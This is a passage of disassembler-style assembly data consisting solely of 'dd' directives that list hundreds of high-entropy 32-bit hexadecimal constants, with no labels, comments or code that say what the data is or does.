dd 78E44896h, 0EFA29007h, 3BA38288h, 0BDF88070h, 4BC4774Ch
dd 0D415A488h, 0B7E87CD1h, 9CC1008Ch, 98E509B6h, 1930B0C4h
dd 73FE21EDh, 105D0160h, 0EFC5A76Eh, 0ADB88B21h, 12845196h
dd 5D0F392h, 1F1EF727h, 0B3B208F3h, 0A796130h, 0BB763B99h
dd 0D0F716ACh, 2B969EE0h, 0B001DE4Bh, 0A706218Eh, 41EB5030h
dd 7E4C30B1h, 33D4B541h, 90CC40B3h, 0AD1D32FCh, 0B834A592h
dd 64B92FC5h, 25B8C494h, 0BF4B048Ch, 918BF67Fh, 1E2B68h
dd 9C47AAC7h, 3C0700DCh, 6D2A1D5Eh, 181F7C9Eh, 0C876D130h
dd 417D0038h, 68E6805Fh, 6D0EB605h, 84A90B1Ch, 0D4E271D1h
dd 4293077Bh, 0B05D5FFBh, 78D0D4AFh, 9624B3E0h, 0C910040Fh
dd 8A98DAD7h, 0AA10A8CFh, 349FAB27h, 7C832411h, 93885219h
dd 5C2F8499h, 0C9546D5Eh, 61582CF6h, 7C469853h, 803894FAh
dd 0E3E57CE4h, 3678E1DAh, 42CEAE03h, 0E88DA26Ah, 0BCB2BD8h
dd 0DF9BA86h, 0BA79A879h, 18FEFA18h, 480C62EBh, 0FF9A07A1h
dd 0F700736Bh, 3131BCD6h, 0A47AA753h, 40882A68h, 9D67F8B9h
dd 9F636CE9h, 6D276964h, 0AB0EC0C4h, 0D1263849h, 18029F64h
dd 74D33B62h, 8E0C0240h, 47A2840h, 0AAB688A0h, 205BBD80h
dd 67FEA78h, 2F9BEE16h, 49A718B0h, 3B08B0A8h, 428B326h
dd 6C31044h, 4723F7ABh, 0A99540F4h, 0BF60B7F8h, 4D250809h
dd 7C83AC98h, 289B7700h, 978B92E9h, 0BE422063h, 966CE858h
dd 62F88C00h, 0C0AF2987h, 0EB0C6338h, 1481C48h, 0BBAAC708h
dd 5AD6B570h, 0FA3500EEh, 1E5C8D07h, 4265D1Dh, 331308F9h
dd 260624B3h, 90C69AF7h, 912C9D9Dh, 88CDC7BCh, 42F793E1h
dd 0B124EC34h, 0E1A0828h, 3AE81E07h, 0EDDC1089h, 0C098820Ch
dd 9DF0A4EBh, 22F27842h, 97E6B330h, 0D93DBC10h, 56EEE507h
dd 0A750A19Ah, 79FC93Bh, 5AF9F594h, 5CCD710Eh, 27942696h
dd 0DE18C88Eh, 10AD006Bh, 0B8E5B3BFh, 4A000493h, 34AF323Fh
dd 725CD6F2h, 0F81A241Dh, 15258840h, 11351C89h, 608A2884h
dd 28C7708h, 6B87E059h, 979F2C50h, 80239128h, 5A2FA585h
dd 0D063263Bh, 43444F4h, 0A70230C1h, 0F0F2FBEDh, 789CCB13h
dd 0B10F74A2h, 0CCD51A55h, 808F0407h, 9E9141E4h, 2489236h
dd 786F1056h, 97140C00h, 0BC369858h, 0BA573B18h, 0E2818EA8h
dd 1616E08Ch, 7B15521Ah, 0EAC603E0h, 8012C739h, 12093173h
dd 0B9F7C2A7h, 0A41371B4h, 0B0A52B1Ch, 8014AC2Ch, 941088C9h
dd 0C62F0B7Ah, 87F8E0E7h, 24E0A49Fh, 24C0F5Dh, 51233FAEh
dd 9650C83h, 39C34016h, 0BCC828CEh, 5C0583CFh, 6D8FB829h
dd 0A819809Fh, 531BE1C7h, 0E29D64D0h, 54C1017Bh, 1FEE2F4Ah
dd 0F0487F3Bh, 44711B1h, 0CE824398h, 41F478C8h, 0C96460F1h
dd 0CAF6E61Ah, 5E3C5481h, 0CD00BF46h, 0A3BE58FDh, 553C4076h
dd 5D3F00E0h, 39185FE9h, 0BA0706E2h, 78B5673Bh, 342A1C17h
dd 2FE430C8h, 2C847029h, 10CB57D7h, 0CFC04DC8h, 0CAC243h
dd 0E969F62Dh, 41E57D1h, 4819AD27h, 3F04A04h, 0C82B4B65h
dd 74F0F21Bh, 3EE960D9h, 6F04246Eh, 0AAFA7740h, 0A2327C04h
dd 94AD9003h, 0D70D2905h, 4EAA83EDh, 8BF66EF8h, 0C04BC8C8h
dd 68F6CE28h, 7D071700h, 0D8132720h, 45D50925h, 7CF86787h
dd 0B18747Ch, 0A30804B7h, 7C8E4C6Ch, 49D1A580h, 710076FAh
dd 8548524Fh, 0E29FAEC6h, 8C4D021Ch, 5A07AB29h, 0BA016040h
dd 8BF05B27h, 793CF164h, 0F361829h, 6EB04DC1h, 89EE8682h
dd 0E7C890D7h, 97D5Fh, 92B678C0h, 0DB2BBE83h, 2114C149h
dd 85B00134h, 0FEE6A537h, 7476744Ah, 0B3465Eh, 65C06228h
dd 752DECh, 932B3C21h, 13B2D776h, 1090F648h, 9A02FC3Dh
dd 200E7733h, 285AB8C0h, 0C9852901h, 6E37D6DCh, 279EDCCh
dd 0E6340613h, 1C747D3Bh, 0A10488h, 0B291FFD1h, 0AC94F9D9h
dd 0A5661840h, 31904BE4h, 0EC141294h, 2B5A03C6h, 7E88F0D1h
dd 6EB63300h, 0E40CB45Fh, 229410DEh, 6D78B851h, 2A8CEF55h
dd 8929244Bh, 0E6B04859h, 0BB2F443Fh, 12D9A344h, 3B1A60F0h
dd 0B4523B8h, 0EC068C9Ah, 9F02517Bh, 0F77858ECh, 0DC98D685h
dd 70A964Ch, 916C1BEDh, 71BF9E92h, 4BF11124h, 0E72F786Eh
dd 132AA084h, 844D58B0h, 465660B6h, 82830EBDh, 0C273CEE5h
dd 0DC91451Eh, 0BB13E494h, 0BE23843Eh, 5874D200h, 16319041h
dd 912157CEh, 2A3F8F44h, 0A4487023h, 0DE3B9603h, 1EF880FEh
dd 1C8B64BEh, 10CCE426h, 50C9A323h, 0D2539640h, 31BB16B0h
dd 8C76043Eh, 6CB3AD00h, 0EB47088Ch, 29BD04A8h, 0B85BD3EEh
dd 8315881Ch, 0A9971B1h
dd 2B9AF4E8h, 22440113h, 4037DCA0h, 5B1098A6h, 0B909EB13h
dd 98548353h, 0D3F88141h, 8490237Ah, 6C2EE998h, 0E5EE300h
dd 9D577142h, 75B5BE7h, 40F98124h, 0A6022838h, 2549E67Bh
dd 0BFA30988h, 0EAB4135Fh, 7823DF48h, 0CC9263h, 7669381h
dd 2F6E4A30h, 282340h, 217EE18Dh, 165B6947h, 10ECE410h
dd 478267Fh, 0EFC6300Dh, 3EEC8914h, 0A500C86Eh, 0C39D4568h
dd 70913FB3h, 3218BFF1h, 0B2C8F500h, 332FC0A8h, 0F4D44A4Bh
dd 1F92A1Ch, 106253BBh, 0A8905F2Dh, 3C007950h, 2575C6B7h
dd 0BF33BC0Eh, 846824A5h, 0F2C8B21Ch, 1DF030B3h, 3480744Bh
dd 80494FC3h, 3B7159FDh, 67A00195h, 682026B1h, 0CD1C0E8h
dd 9BAA89B2h, 0CC2C9C9Eh, 8918ED74h, 1B30B00h, 0C7166FE4h
dd 3B8E30E2h, 0B70426F1h, 8D50E5F4h, 2B3F4695h, 0C1EEA537h
dd 94308A58h, 217E4190h, 237E144h, 9C80E329h, 9A88344Ah
dd 80E758E8h, 0E460B464h, 2CA9377Dh, 9607D2F7h, 4561E7A0h
dd 792175A0h, 0B51038B3h, 0D8E907A5h, 0DF361014h, 105147Fh
dd 0EF22E004h, 10946748h, 58005203h, 0A6C4710Ah, 92CF3Ah
dd 0E3C62F16h, 317364D0h, 0E6287507h, 6490BFC1h, 6B0B9110h
dd 84F62093h, 855D162Ch, 871D72CCh, 746BD028h, 78385161h
dd 0C7C00569h, 7CB02392h, 7020958Fh, 89183DDDh, 0A00239E6h
dd 0B33BBC69h, 0E7C504B2h, 0A841E360h, 9D9BAD88h, 292DF418h
dd 7B7064B7h, 6D1A004Dh, 3AE37E34h, 6F007581h, 8CCBE5A2h
dd 9AA0488Fh, 0BDBFA7Ch, 0C6189BC2h, 0CF096C5Ah, 68228BB5h
dd 807510C8h, 4B4E1A9Bh, 0FEE09045h, 0F0E4D835h, 7FA2139Fh
dd 0EE604E60h, 4005308h, 7D49918Fh, 0C03171F7h, 0F971B2B9h
dd 9632B47Eh, 20FB4811h, 38BFC327h, 27C5D980h, 103A24DBh
dd 0C0446467h, 0E48EB061h, 7D0328D3h, 43A2C733h, 2F50065Bh
dd 6839EFBEh, 8240249Eh, 18E9008h, 2F242204h, 70E440E1h
dd 575A8FEFh, 0F75B2045h, 362064B2h, 0F979BD69h, 0AB298270h
dd 8F025A1Bh, 3B2081BAh, 6402D9F7h, 0BD7980D1h, 92047818h
dd 0DDC1968Ah, 0C5DB40C1h, 0AF8504h, 0E9616F61h, 201B3D8Ch
dd 0A298DDB4h, 365820E6h, 0EF0052AAh, 8B75918Eh, 1860C91Dh
dd 69B0F6ADh, 0CF03292Bh, 2EFCED5Ah, 6FF3C035h, 941097D7h
dd 711D91BDh, 87FA4AF7h, 10BE8C9Fh, 0AA3C3A90h, 0FF5D0532h
dd 12E62F54h, 0C464C2DFh, 4071459h, 0F743CF3h, 0CF0C22BFh
dd 14E87724h, 8C26B8h, 979BE3B5h, 0B0FCC3CCh, 114901Eh
dd 53E72A0Bh, 0C36770B8h, 0CF942C0Ch, 893CA0AAh, 80C83C5Dh
dd 728A10E6h, 0A1FCE8h, 34732B6Bh, 958FA94Dh, 83A2AF0Eh
dd 448B09D2h, 439816C4h, 19D0F0FEh, 0FCF2E44Ah, 23BC7D05h
dd 0E5CB1F7h, 0E0258884h, 0CF42DE8h, 0C0271D2Eh, 0B733B940h
dd 808D80C5h, 0EE9D7716h, 81D00810h, 575BCAC7h, 0DBE0443Fh
dd 2B1C403Bh, 970D9F4Dh, 49441067h, 0A4CFFF60h, 0ED01DAFEh
dd 810BC52Eh, 917B95ADh, 70D56014h, 0C04BCD6Dh, 0C09C349Bh
dd 56596448h, 0CB02393Fh, 54C80490h, 43306029h, 0F7078063h
dd 0BD3CC697h, 8804F044h, 2E63B882h, 762820AEh, 2C2FA30Fh
dd 0C8146BF7h, 0A0E25539h, 3956791h, 5E38B037h, 99CEA858h
dd 6073F402h, 6269701Bh, 0DDB46280h, 0ECB1AC91h, 0FF028124h
dd 225C0CC7h, 0F41905B5h, 76771D00h, 8064CF3Ch, 52714C97h
dd 3E475127h, 7280FEF9h, 2BBE5BBDh, 6B59EE93h, 0DC0B2EECh
dd 0B4D37429h, 0EB808162h, 55CD7DB6h, 278D0B00h, 50F36403h
dd 2120B868h, 0DF085EE3h, 0ECF6173Dh, 3985804Ch, 1D571BAAh
dd 0C0371925h, 0B18342ABh, 0A70B59ADh, 0CA5BB3ACh, 0C0484958h
dd 0A50C8015h, 2397ABE6h, 7C63A260h, 44C64871h, 5B96F481h
dd 508C28CEh, 8F2DA308h, 9EAC245Dh, 92BD2C08h, 64049D95h
dd 2A233E3Bh, 7F64EA55h, 0D106D46Bh, 0B0EC5D3Fh, 0CCF858D2h
dd 628CB2ECh, 3FD7C007h, 0AD840600h, 819D5FC4h, 3E92796Ch
dd 1C63B488h, 0F017CE31h, 0EFF6F970h, 0A703F096h, 5D19DFC5h
dd 2ED3BC18h, 1C3232Ch, 7AE405E9h, 361DD8A8h, 0B2A55900h
dd 0A7DD3390h, 205890D2h, 0B013AD3Eh, 8CCC7161h, 0B49B5E27h
dd 0F31E2660h, 0A875F70Ah, 0C3887CCEh, 7E3938C0h, 0FA9D001Fh
dd 48051ADBh, 1D269391h, 3B616C30h, 6E00C623h, 2B5E3205h
dd 3B9080B4h, 214E3A63h, 0F31478Ch, 0D5C0BF88h, 13399C0Eh
dd 0A41A4631h, 8700AA34h, 7C1913EDh, 9CCD262Fh, 0C17D6510h
dd 4CF304h, 9C2150Eh, 9CBB31F9h, 5F6210C0h, 8848EF26h
dd 639D4820h, 8E5CA1A0h, 23F4902Ah, 4EBDB6CBh, 4464A7C8h
dd 52696046h, 63960BADh, 0E4FAC40Eh, 0A316009h, 4B28D8F9h
dd 34A7A9h, 9A45798Eh, 5FE8E910h, 88348F9Eh, 3DD1C0BBh
dd 0D70ECF15h, 0CC2C06E3h, 4F13909Fh, 0B2C4A3EBh, 0E379304Dh
dd 4AFC7C1Ch, 8CD6827Dh, 758DADBAh, 53C60010h, 47D4141h
dd 0EE99E032h, 0F850B0F0h, 0B240D680h, 0DC315919h, 23FC2F4Fh
dd 254300B6h, 0ADB25F1Eh, 0D9449050h, 327FC510h, 43CACF09h
dd 34D328C2h, 0B271ACA1h, 1E00AF18h, 23BDABF4h, 40454CDEh
dd 0BB40CEA4h, 0C90405C0h, 80EEEDB9h, 9DBA3F54h, 0BAD1D091h
dd 5492F518h, 0CC639726h, 9AF48041h, 0D360E1h, 0BA2BBD10h
dd 0C5A44320h, 21546200h, 0CEFFD182h, 0F9760014h, 291B56E5h
dd 0D89B65FCh, 0BBAC8180h, 90AF0F2Bh, 6F401240h, 223C24E9h
dd 0D0A046E0h, 3BFBCB21h, 7E3029B7h, 0F996193Ch, 1B1C48E8h
dd 68303A69h, 0E5A4A78Ch, 326CCC2Bh, 31161CF6h, 248580E6h
dd 0A52FD8A3h, 52AA78E3h, 0BA8E3898h, 423F9C2h, 131CD2EAh
dd 426F5BB4h, 601B0F4Ch, 0B61494DBh, 8CB15E7Ch, 4E5F5460h
dd 180CA6D4h, 0BBA1175Bh, 0C20B5A4Bh, 0E85AC574h, 143D683Ah
dd 0B020A6F8h, 88BBAA4Bh, 0C741AF53h, 0A92EB2F3h, 0D0BD81E0h
dd 705930B2h, 0E0FD6047h, 0FB841C6Dh, 4B692829h, 0B0F0E69Bh
dd 0E23B53FBh, 1698C1B8h, 5C4AE43h, 0D10108BCh, 0BFAB2702h
dd 0FB688059h, 0FD5F8ABBh, 98F40082h, 0CDD13923h, 0DE073391h
dd 9E702654h, 67649FE0h, 8920C099h, 2802D931h, 1B262500h
dd 7F9698CEh, 2768E8EEh, 8205984h, 8127A9F8h, 2F295C1Eh
dd 8C007A3Fh, 77FED5A1h, 986618E6h, 679900A9h, 0FF6CF88Fh
dd 124A60F9h, 4DA240A3h, 1E2AC330h, 82B3B49Bh, 63FB5DC0h
dd 0A8213CFCh, 0C51846D1h, 98C93002h, 0E94B1A67h, 0B9E3FE28h
dd 22F1C255h, 9C6D0h, 1428B159h, 54A5B8ECh, 49336130h
dd 4A1D7032h, 0BA94402Bh, 2B853B4h, 885F0890h, 0C9A948B0h
dd 0E84B9210h, 1FE447D8h, 2140781Ch, 66ECA8EAh, 8B283356h
dd 0A8D025D0h, 31442838h, 2358105Eh, 0BC971013h, 0DFB00776h
dd 47A0F0B9h, 547A19B5h, 0EC242802h, 0B4217042h, 28B14D40h
dd 0F5E0404Bh, 0A5BB9E38h, 0C2E6C3Bh, 91A8C8E5h, 0F8A1658Fh
dd 0CC24FFA6h, 0AD0A3C6Eh, 85A4848Fh, 0C859F3D2h, 2B3A1CFCh
dd 0F2345265h, 0FD80176Fh, 9B3995BBh, 6C423E24h, 79D1C0F6h
dd 0BAAEEE5Fh, 3153A405h, 481D5719h, 0F964BC2Bh, 0FEC1D6Ch
dd 9E6E61C3h, 0F820408Ah, 0E3A8A9C8h, 3F3917E3h, 4E4CA420h
dd 96A9FC64h, 39CE521h, 778DD2B4h, 0CF219C98h, 2986A800h
dd 9120D205h, 1A040DB2h, 40910C39h, 0CE676370h, 0E4828E5Eh
dd 22920BDh, 87F898A0h, 0EC5220A6h, 844E7DBCh, 4A390482h
dd 7AC5E9Ch, 0A2686EBAh
dd 44DAC79Eh, 0BCB08F0Bh, 57745E0Fh, 20631540h, 2D2C31ACh
dd 1A0FE08h, 3C01A86Ah, 893101A9h, 196CA01h, 4B0138DFh
dd 0DBE30134h, 17BB701h, 0FA01D135h, 0C2670122h, 14E3601h
dd 0B6015A24h, 92E10186h, 4B07407h, 9042F9Dh, 25060482h
dd 43B2304h, 83044D1Ch, 399C0454h, 0C259D30Ch, 0FFD7C140h
dd 1687501h, 3F01CF49h, 222A02B3h, 0A107D2A2h, 286308E8h
dd 88A6E08h, 20821A8h, 7AF80826h, 0A4F90819h, 0D3A0E9BDh
dd 0F123D032h, 8DC6037Ch, 72B42144h, 3AC421C4h, 88847C0Ah
dd 57905D2Ch, 1064AD10h, 23108BE2h, 80E92AE0h, 77B8D654h
dd 2BA99D64h, 4905004h, 0B2047303h, 0D8520497h, 0C1C48C06h
dd 69EA9C88h, 89A53280h, 81099053h, 33A33D10h, 11AEC943h
dd 20CA5661h, 301620C5h, 0E4110762h, 481C02B6h, 5489A706h
dd 0CFBE982Fh, 2AB0D431h, 9820BC87h, 44A04472h, 9E2311C4h
dd 0C384104h, 407AF980h, 0F0A89635h, 0E58074E7h, 517C81DDh
dd 252EA8Ch, 0BECA2A9h, 3B8E0267h, 20A93606h, 52024E8h
dd 0B195F77Fh, 0FD31F097h, 3DAE099h, 680910F6h, 32D31978h
dd 0D001D751h, 6B930154h, 1ADF801h, 6F03E243h, 9C4A8110h
dd 2A6EB710h, 7B62C421h, 23ADB09h, 0D10245A3h, 4E87028Bh
dd 698A702h, 0E020A9FBh, 0C3EE20CBh, 19412A62h, 0F888075Ah
dd 18D9E408h, 5C052135h, 80A07880h, 71C88223h, 61CA08AAh
dd 2968840Ch, 62FF8057h, 0A1BFC381h, 0C454C1A0h, 42409988h
dd 1202EB28h, 116990A6h, 628E5820h, 0BDD1F1F1h, 0F7A7302h
dd 0D2295FACh, 81BFEC80h, 0E0F051D0h, 0DCC601A1h, 0BCA66F02h
dd 4F54D132h, 3E402784h, 0CC7E40C8h, 0A8365640h, 805E62C4h
dd 9C81D633h, 0DB159051h, 0A3A9000h, 48F58F4Bh, 25FD1FD4h
dd 0DC07B1ADh, 0C5D581F8h, 0E11080AEh, 0A882CA77h, 96B1021Bh
dd 0B5575CEDh, 0AB002852h, 0E69CE231h, 3D6A979h, 8229281Bh
dd 0ECA254CAh, 0B866C262h, 210098B0h, 60F5BEADh, 530513h
dd 743A3D5Dh, 7E0DEC35h, 0E011D1F1h, 21B58AB2h, 5A6EF610h
dd 0B9F9B080h, 0BC809761h, 2931BA00h, 0AA98A2F5h, 0D21F2554h
dd 1B272C48h, 0F94B9276h, 60C08CF0h, 51221977h, 43767350h
dd 0B1FFDD00h, 33177D63h, 0A30E0A9Fh, 5088BB2h, 96CFCBF6h
dd 10C868A8h, 652F0054h, 0B20461C2h, 0B045645Bh, 20826C90h
dd 0D2334041h, 0CD97F31h, 3AF5F6C2h, 840A0C38h, 0C029B587h
dd 0C68F6702h, 809C7CD6h, 49F5EF9h, 8774790Fh, 6DACCC1Dh
dd 3059F24Dh, 39F430h, 15DD81A3h, 1A6B36C7h, 80C0C87Dh
dd 0DBF4406h, 0DB660010h, 0EA33A12Eh, 1200DE78h, 0DCFC3927h
dd 9FA21D29h, 8C02A0C2h, 0F90344C9h, 0CC8E5EBh, 703D6040h
dd 721A0161h, 74615768h, 0F8276500h, 49CA2AD1h, 7301189Dh
dd 0EA8F33EBh, 19488BFFh, 5E54A3ACh, 64B0B0F4h, 1C270003h
dd 0B19935BAh, 89E02A61h, 5A5E0401h, 0CF0C633h, 0BF91EE0h
dd 55421A77h, 0B00224EBh, 86FE61EEh, 0E44815Ch, 0B441BC96h
dd 6040F527h, 115C6EFh, 8F88EC73h, 0F00E4167h, 2981F8Eh
dd 2D0DC0C2h, 0E8CC824Dh, 628090CCh, 8FF1044Eh, 1E05DF87h
dd 0BBB50E47h, 5719AFB0h, 4E548047h, 0D9AE8F19h, 80BC2F70h
dd 0C68310h, 23122D34h, 0CA6C1C99h, 6942730h, 11251798h
dd 0E5001A78h, 1F2E5FB8h, 37900526h, 0F3A81EBAh, 748B8F77h
dd 1A2A2FF0h, 396F3430h, 0EDCA3Ah, 564548D8h, 8C5AF31Fh
dd 0F737DA0Fh, 0AC49C1E9h, 8FE49F82h, 504A61E3h, 800BE819h
dd 0EBD31F40h, 0B299C95h, 7F870DCFh, 6C4928D0h, 0DA3E0954h
dd 8C602654h, 0E2EB01B9h, 6384682h, 7C006A16h, 5854BA96h
dd 7A1B00C5h, 0B28104FFh, 0FA00BB60h, 688EBE2Eh, 1DEAD95Bh
dd 0C0713250h, 76B7FC27h, 0F31D9184h, 0C340B4CAh, 0FB1BCF75h
dd 0B654C64h, 3900A23Bh, 24276D99h, 8304C621h, 0A5EC9F90h
dd 8F68B881h, 96F4A0FEh, 0E9D2B506h, 12CAEA20h, 477DC819h
dd 86D90D18h, 20A1F96Ch, 617820B2h, 8A48B1E0h, 0D2968720h
dd 288C5BC4h, 0F48E0490h, 0A07C0575h, 0BD8B7Ch, 3E80B180h
dd 0A0C00010h, 88B27904h, 260085EEh, 8B7B979Bh, 92CA7CC7h
dd 1A031F08h, 2958B247h, 62B1DC82h, 34A034A3h, 0A4819892h
dd 83F61F87h, 848FB918h, 80703E2Ah, 93BD312h, 80029C44h
dd 30803229h, 587198FEh, 60F48780h, 1A9959D6h, 18C22E1Bh
dd 43FFD8C7h, 0F0DFE098h, 698E00ABh, 0B4E3FE75h, 8F729131h
dd 0EA1908A0h, 0A8B1B668h, 6420BBh, 66E975EFh, 3D31554Eh
dd 0BF269C90h, 46F84CFh, 0B0D0821Bh, 59FA24h, 11F3BEDh
dd 57470F36h, 0FD8ED300h, 6D5DB158h, 96510689h, 0E03F7D87h
dd 54C29409h, 0F14CA0FAh, 249D2975h, 128571FEh, 77EC40C1h
dd 0EF96F969h, 0E307F618h, 28870881h, 7A80ED7Ch, 0C51A1395h
dd 871C6066h, 68C9415Fh, 0F6042296h, 26E4F0D1h, 431CEAF8h
dd 0B783DD9Fh, 990231C0h, 0BC926C74h, 78884A50h, 4F6A740h
dd 1F8A740Eh, 28CDFCh, 5D2F6984h, 0E2F888A1h, 3013F725h
dd 44250C38h, 78C5BC32h, 18151D27h, 81B90EC0h, 0A1003C64h
dd 6CB1EB02h, 47F703F4h, 6691F6FEh, 981A4075h, 6392C3Bh
dd 6050BBE0h, 8F5F40F9h, 2C9036E4h, 0A88C9450h, 9C60197Bh
dd 27ED9530h, 22CF0B20h, 880738Eh, 2DF385B2h, 2B5018C0h
dd 2887DCABh, 12A44345h, 0B48404h, 0C26D2FA4h, 0AA037CCCh
dd 0C08F150Eh, 0B9680006h, 6D5C31B2h, 0CE284FCAh, 9A20BC20h
dd 4C355869h, 2CA21E78h, 1B28009Dh, 97BC4441h, 0A120FC7Ch
dd 28CF5C8Ch, 1C81C040h, 0D32766F2h, 0AA9088A2h, 0BB7B1918h
dd 5996F410h, 94C1C88Ch, 35422535h, 19A04368h, 200679D3h
dd 8DE6F6F1h, 1A020C68h, 0FC184C39h, 3895CE00h, 0D986051Fh
dd 0FD0D04E2h, 9867C119h, 0A33C062Ch, 0F20642C4h, 51D45DF6h
dd 1065B403h, 4C77A0Eh, 31DAB9B0h, 7558A8A5h, 6A909CA0h
dd 987350Ch, 911248F4h, 688F0628h, 3D1D38BEh, 86C04C16h
dd 55ADEE5Fh, 6290049h, 0B65A371h, 0F035E31h, 9D878969h
dd 984026FDh, 8B143CE4h, 8E00D812h, 249CF767h, 6C77BA66h
dd 0FC20CF00h, 0CC5E0E64h, 8FA92CBDh, 350803E4h, 0B8F2772h
dd 809D2484h, 61BAFD74h, 80332C3Eh, 7F782D18h, 0E18D8791h
dd 6ACA7081h, 7962AE69h, 328000ACh, 548F7406h, 0B0C8C0CCh
dd 0F726A194h, 96365E01h, 3074878Bh, 0C769A080h, 8F66BA7Fh
dd 30982437h, 64940079h, 7DEA8B0h, 6C91B9E9h, 803C848Fh
dd 0D89F8930h, 900328B8h, 87AD382Fh, 2450BE1Bh, 2EA86D0Eh
dd 0E2408010h, 0CA49CF54h, 0F5C46351h, 2CC02055h, 59C04E41h
dd 86F71287h, 0F4DC409Dh, 993B62EAh, 0B94CD2F8h, 331A82DCh
dd 0FD6CE8ACh, 528001A8h, 8717CE2Ch, 0BF2983F1h, 0ACAB1A79h
dd 2F614A00h, 96308714h, 0D96620E4h, 3280CB44h, 602CC4D4h
dd 8FE294C0h, 0A410480Fh, 1F132FC1h, 927028D0h, 0C901465h
dd 17B122C7h, 0F35F70h, 0D98C5804h, 8F7B1C23h, 9D13100h
dd 3568B1B2h, 0EC8A00D0h, 0F8DF6362h, 6BF8EDB5h, 7CE2A800h
dd 338BCF09h, 0B00477EBh, 69136064h, 0EFA58FF6h, 88B178C0h
dd 178EDC7Fh, 108036FEh, 580800h, 0E5F30F00h, 90FC8BBFh
dd 802574C9h, 0F71F8C4Ch, 0ED960428h, 0D5B3F82Eh, 90C88624h
dd 8B9FD500h, 0EB93B223h, 0D0560013h, 5F8E9196h, 89E4ADF1h
dd 0C9D1100h, 3CB8CBF4h
dd 0D77913D3h, 0D41C0423h, 0BA020557h, 0B98FF403h, 0A427C5E6h
dd 0E4ECED85h, 96752602h, 0FC858CA0h, 0C8AC00DEh, 475160E1h
dd 0A30064B0h, 0CF364F4Dh, 2F201EBh, 19F6168Ch, 885034BBh
dd 88BB6B7Dh, 7D60F026h, 0BA36A01Ah, 0D0CF0EBCh, 9043B606h
dd 8049E33Fh, 6ABB51D0h, 80B3DC0Bh, 5EE6B510h, 0E5F52CF7h
dd 838FC10Ch, 98082029h, 4002565Eh, 401F2C87h, 6A2F5E78h
dd 40106812h, 0F6A21A29h, 10B36235h, 0DB0CA090h, 75F70B54h
dd 0A0295BFCh, 0AC7588Ah, 3A6063B2h, 27808CD9h, 0CEE88FE4h
dd 0FA33A4A6h, 0C3FD08BBh, 5F6DFA85h, 65B19C22h, 2665248Ah
dd 0DB7514ECh, 7C097169h, 76EBC04h, 9884352Dh, 0AAECC1BBh
dd 8CD0A413h, 0C9D11F8Bh, 0E283F950h, 2D8BAA32h, 40E4C1ACh
dd 0CEF800B5h, 0F038098Fh, 44098896h, 0C28C009Bh, 945CDEB0h
dd 4A15C700h, 19D502Fh, 0FAC8F103h, 2089BC4Ch, 510079F8h
dd 0E1954314h, 0A00B7A8Fh, 13218AB8h, 14B7AAD2h, 0C8412C48h
dd 0AAB46EF4h, 1AD02288h, 86F10130h, 0FE99E01Eh, 386420D7h
dd 748314D4h, 19410C26h, 0FA200618h, 4081F615h, 0D6A806D8h
dd 20C09290h, 680216C7h, 8F83B9FBh, 63B8996Bh, 0C282D20Ch
dd 851001F4h, 1816105Bh, 0FF0AA400h, 8F8931EDh, 8D08A091h
dd 1B0C09F1h, 0D708A255h, 50F606CCh, 0A70B4878h, 135FF90Ah
dd 0A2BF8160h, 9710A433h, 7BAA0095h, 18A6F2CAh, 24143287h
dd 0E48812B8h, 11C650F8h, 873FCCE8h, 0F4EC4B07h, 0E12D849h
dd 96CC0683h, 77E6402Eh, 0F75F8B0Fh, 5DF4A0B0h, 0C0EA168Fh
dd 6B8D31E0h, 0A248F829h, 6C019338h, 0F7351D66h, 0B84D9828h
dd 0B100E891h, 41BF7C85h, 0FD0F60D8h, 602CC8EFh, 0C2F6E552h
dd 0FF9CB5Bh, 39488C00h, 88B886F3h, 8549820Bh, 208C0F7Bh
dd 1885D83h, 0B46552B2h, 8946429h, 209C005h, 5CCA0A97h
dd 0C9108h, 36C5185Dh, 751D8F16h, 0D69DF6B1h, 0A8228D01h
dd 9DF0026Fh, 64FD00BFh, 0F1598405h, 0A70BE810h, 24C74FF6h
dd 98A8315Ch, 3878A07h, 41A8958h, 27504C48h, 0D0E49C7Eh
dd 28232613h, 0F135D001h, 8DCC62C4h, 2620F812h, 89880E71h
dd 382937D8h, 808FAC2Fh, 0E4981092h, 0F60C0853h, 31108FB8h
dd 63C2451Dh, 22CFC9h, 1387DC84h, 0C348C00Ah, 746C2EBAh
dd 0EE4F63Ch, 0C1978C3Dh, 0F1438F5Eh, 608BE442h, 4CD01E8h
dd 789009A3h, 0AA94D2E2h, 0CB63B841h, 0FA10189Ch, 0E0D04E19h
dd 0A4B9FDD4h, 0D1393F0Fh, 4A947093h, 0F894EFCAh, 61C90547h
dd 42A8060h, 89F52A24h, 0B82824h, 6131BAB9h, 176FA6E9h
dd 445A1A0Fh, 0C6DF2500h, 0E360824h, 0B3A0593Dh, 980325F4h
dd 9100DECAh, 0B35B8CF4h, 0CD91F44h, 17ADAFDFh, 8D02A718h
dd 0EC9F5516h, 28F88A01h, 0BC850E40h, 0C1B899BAh, 2C34F519h
dd 0B8E38118h, 0C071918Dh, 5063F6F5h, 0A4465001h, 648A87FBh
dd 90AE6978h, 7EF01262h, 0D3A09113h, 80D0522Bh, 0F4A98F8Ch
dd 60423C9Ah, 0D05FF60Bh, 0D8225812h, 88A6F74Ch, 0D32A38CAh
dd 0C263E001h, 2CD1FD10h, 2C246120h, 440C2488h, 9BFB21CFh
dd 0B2056800h, 1AD68D00h, 8F65A404h, 40E760AAh, 9C0F8BB0h
dd 0D31E060Fh, 0E68903F4h, 35C7A826h, 62B17891h, 74761037h
dd 6A8EC8A2h, 3F8B085Ch, 53200554h, 44356CD0h, 0F4AC174Ch
dd 68B8EEh, 6E6178B3h, 92274387h, 73C40E30h, 65EC5644h
dd 0C8A69250h, 0C88074B0h, 81E0E09Fh, 0F9506CB0h, 270E7394h
dd 432D0CF3h, 0C374905Ah, 5C114C1Bh, 96FEAB01h, 0F16773FCh
dd 233083A1h, 0D50C65A2h, 0E4DC00BAh, 268BF6E7h, 12259C96h
dd 44A08988h, 0C2D52020h, 405FB102h, 0E0F41FABh, 3B0BA3B0h
dd 0B04A6B49h, 72E9FF90h, 8F691F64h, 6354AC2Ah, 4F4FACDCh
dd 0C8D9484Ah, 72B1CD81h, 55F451A0h, 0E0F4AAB9h, 2AA19D8h
dd 95521F9Ch, 0E458E5F7h, 31970C94h, 0A120E309h, 7257F618h
dd 1FC0C439h, 2955F5D4h, 6A74413h, 5EAF3C00h, 978F32D8h
dd 0B12674FAh, 4F04E591h, 50C0974Ah, 94ABF05Fh, 460B128h
dd 792C70C3h, 5FE0B660h, 81FBA88Fh, 20CC3C84h, 0F62727B3h
